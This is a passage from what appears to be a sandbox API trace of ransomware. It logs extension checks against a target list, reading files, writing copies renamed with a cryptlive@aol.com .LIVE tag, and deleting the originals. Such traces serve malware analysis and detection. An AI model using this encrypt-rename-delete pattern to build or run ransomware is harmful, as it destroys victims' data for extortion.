Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.601] lstrlenW (lpString=".zip") returned 4 [0062.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.601] lstrlenW (lpString=".rar") returned 4 [0062.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.601] lstrlenW (lpString=".bz2") returned 4 [0062.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString=".7z") returned 3 [0062.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.602] lstrlenW (lpString=".dbf") returned 4 [0062.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.602] lstrlenW (lpString=".1cd") returned 4 [0062.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.602] lstrlenW (lpString=".jpg") returned 4 [0062.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.602] lstrlenW (lpString=".doc") returned 4 [0062.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString=".docx") returned 5 [0062.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.602] lstrlenW (lpString=".pdf") returned 4 [0062.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString=".xls") returned 4 [0062.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.602] lstrlenW (lpString=".xlsx") returned 5 [0062.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.602] lstrlenW (lpString=".ppt") returned 4 [0062.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.602] lstrlenW (lpString=".zip") returned 4 [0062.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.602] lstrlenW (lpString=".rar") returned 4 [0062.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString=".bz2") returned 4 [0062.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.602] lstrlenW (lpString=".7z") returned 3 [0062.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.603] lstrlenW (lpString=".dbf") returned 4 [0062.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.603] lstrlenW (lpString=".1cd") returned 4 [0062.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0062.603] lstrlenW (lpString=".jpg") returned 4 [0062.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.603] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0062.603] lstrlenW (lpString="AN00965_.WMF") returned 12 [0062.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.603] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7072) returned 1 [0062.603] CloseHandle (hObject=0x1f4) returned 1 [0062.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0062.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.604] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.604] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0062.604] GetLastError () returned 0x0 [0062.604] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0062.997] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0062.998] ReadFile (in: hFile=0x1f4, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.998] WriteFile (in: hFile=0x15c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.017] SetEndOfFile (hFile=0x15c) returned 1 [0063.017] CloseHandle (hObject=0x15c) returned 1 [0063.021] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.021] SetEndOfFile (hFile=0x1f4) returned 1 [0063.058] CloseHandle (hObject=0x1f4) returned 1 [0063.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0063.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0063.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.281] lstrlenW (lpString=".doc") returned 4 [0063.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.281] lstrlenW (lpString=".docx") returned 5 [0063.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.281] lstrlenW (lpString=".pdf") returned 4 [0063.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.281] lstrlenW (lpString=".xls") returned 4 [0063.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.281] lstrlenW (lpString=".xlsx") returned 5 [0063.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.281] lstrlenW (lpString=".ppt") returned 4 [0063.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.281] lstrlenW (lpString=".zip") returned 4 [0063.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.281] lstrlenW (lpString=".rar") returned 4 [0063.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.281] lstrlenW (lpString=".bz2") returned 4 [0063.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.281] lstrlenW (lpString=".7z") returned 3 [0063.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.281] lstrlenW (lpString=".dbf") returned 4 [0063.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.281] lstrlenW (lpString=".1cd") returned 4 [0063.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.281] lstrlenW (lpString=".jpg") returned 4 [0063.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.282] lstrlenW (lpString=".doc") returned 4 [0063.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.282] lstrlenW (lpString=".docx") returned 5 [0063.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.282] lstrlenW (lpString=".pdf") returned 4 [0063.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.282] lstrlenW (lpString=".xls") returned 4 [0063.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.282] lstrlenW (lpString=".xlsx") returned 5 [0063.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.282] lstrlenW (lpString=".ppt") returned 4 [0063.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.282] lstrlenW (lpString=".zip") returned 4 [0063.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.282] lstrlenW (lpString=".rar") returned 4 [0063.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.282] lstrlenW (lpString=".bz2") returned 4 [0063.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.282] lstrlenW (lpString=".7z") returned 3 [0063.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.282] lstrlenW (lpString=".dbf") returned 4 [0063.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.282] lstrlenW (lpString=".1cd") returned 4 [0063.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0063.282] lstrlenW (lpString=".jpg") returned 4 [0063.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.283] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0063.283] lstrlenW (lpString="AN03500_.WMF") returned 12 [0063.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 14 os_tid = 0x6c8 [0036.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3730480 [0036.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3740488 [0036.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570618 [0036.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x573378 [0036.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570630 [0036.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3a20020 [0036.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570648 [0036.217] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570648, Size=0x20) returned 0x555dc8 [0036.217] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570648 [0036.217] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570648, Size=0x20) returned 0x555df0 [0036.217] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.217] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.217] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff58 | out: OldValue=0x300ff58*=0x0) returned 1 [0036.217] lstrlenW (lpString="kernel32.dll") returned 12 [0036.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.217] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.217] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.217] Sleep (dwMilliseconds=0x64) [0036.338] Sleep (dwMilliseconds=0x64) [0036.823] Sleep (dwMilliseconds=0x64) [0036.974] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0036.974] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.974] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.975] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=89168) returned 1 [0036.975] CloseHandle (hObject=0x168) returned 1 [0036.975] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0036.975] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.975] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.975] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.975] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.975] lstrlenW (lpString=".doc") returned 4 [0036.975] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.975] lstrlenW (lpString=".docx") returned 5 [0036.975] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.975] lstrlenW (lpString=".pdf") returned 4 [0036.975] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.975] lstrlenW (lpString=".xls") returned 4 [0036.975] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.975] lstrlenW (lpString=".xlsx") returned 5 [0036.975] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.975] lstrlenW (lpString=".ppt") returned 4 [0036.975] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.975] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.976] lstrlenW (lpString=".zip") returned 4 [0036.976] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.976] lstrlenW (lpString=".rar") returned 4 [0036.976] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.976] lstrlenW (lpString=".bz2") returned 4 [0036.976] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.976] lstrlenW (lpString=".7z") returned 3 [0036.976] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.976] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.976] lstrlenW (lpString=".dbf") returned 4 [0036.976] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.976] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.976] lstrlenW (lpString=".1cd") returned 4 [0036.976] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.976] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.976] lstrlenW (lpString=".jpg") returned 4 [0036.976] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.976] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.976] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.976] lstrlenW (lpString=".doc") returned 4 [0036.976] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.976] lstrlenW (lpString=".docx") returned 5 [0036.976] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.976] lstrlenW (lpString=".pdf") returned 4 [0036.976] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.976] lstrlenW (lpString=".xls") returned 4 [0036.976] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.976] lstrlenW (lpString=".xlsx") returned 5 [0036.976] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.976] lstrlenW (lpString=".ppt") returned 4 [0036.976] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.976] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.976] lstrlenW (lpString=".zip") returned 4 [0036.976] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.976] lstrlenW (lpString=".rar") returned 4 [0036.977] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.977] lstrlenW (lpString=".bz2") returned 4 [0036.977] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.977] lstrlenW (lpString=".7z") returned 3 [0036.977] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.977] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.977] lstrlenW (lpString=".dbf") returned 4 [0036.977] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.977] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.977] lstrlenW (lpString=".1cd") returned 4 [0036.977] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.977] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0036.977] lstrlenW (lpString=".jpg") returned 4 [0036.977] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.977] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0036.977] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.977] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.977] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=87616) returned 1 [0036.977] CloseHandle (hObject=0x168) returned 1 [0036.977] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0036.978] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.978] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.978] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.978] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.978] lstrlenW (lpString=".doc") returned 4 [0036.978] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.978] lstrlenW (lpString=".docx") returned 5 [0036.978] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.978] lstrlenW (lpString=".pdf") returned 4 [0036.978] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.978] lstrlenW (lpString=".xls") returned 4 [0036.978] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.978] lstrlenW (lpString=".xlsx") returned 5 [0036.978] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.978] lstrlenW (lpString=".ppt") returned 4 [0036.978] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.978] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.978] lstrlenW (lpString=".zip") returned 4 [0036.978] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.978] lstrlenW (lpString=".rar") returned 4 [0036.978] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.978] lstrlenW (lpString=".bz2") returned 4 [0036.978] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.978] lstrlenW (lpString=".7z") returned 3 [0036.978] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.978] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.978] lstrlenW (lpString=".dbf") returned 4 [0036.978] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.978] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.978] lstrlenW (lpString=".1cd") returned 4 [0036.978] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.978] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.978] lstrlenW (lpString=".jpg") returned 4 [0036.979] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.979] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.979] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.979] lstrlenW (lpString=".doc") returned 4 [0036.979] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.979] lstrlenW (lpString=".docx") returned 5 [0036.979] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.979] lstrlenW (lpString=".pdf") returned 4 [0036.979] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.979] lstrlenW (lpString=".xls") returned 4 [0036.979] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.979] lstrlenW (lpString=".xlsx") returned 5 [0036.979] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.979] lstrlenW (lpString=".ppt") returned 4 [0036.979] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.979] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.979] lstrlenW (lpString=".zip") returned 4 [0036.979] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.979] lstrlenW (lpString=".rar") returned 4 [0036.979] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.979] lstrlenW (lpString=".bz2") returned 4 [0036.979] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.979] lstrlenW (lpString=".7z") returned 3 [0036.979] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.979] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.979] lstrlenW (lpString=".dbf") returned 4 [0036.979] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.979] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.979] lstrlenW (lpString=".1cd") returned 4 [0036.979] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.979] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0036.979] lstrlenW (lpString=".jpg") returned 4 [0036.979] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.980] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0036.980] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.980] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0036.980] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=91712) returned 1 [0036.980] CloseHandle (hObject=0x168) returned 1 [0036.980] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0036.980] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0036.980] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.980] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0036.980] lstrlenW 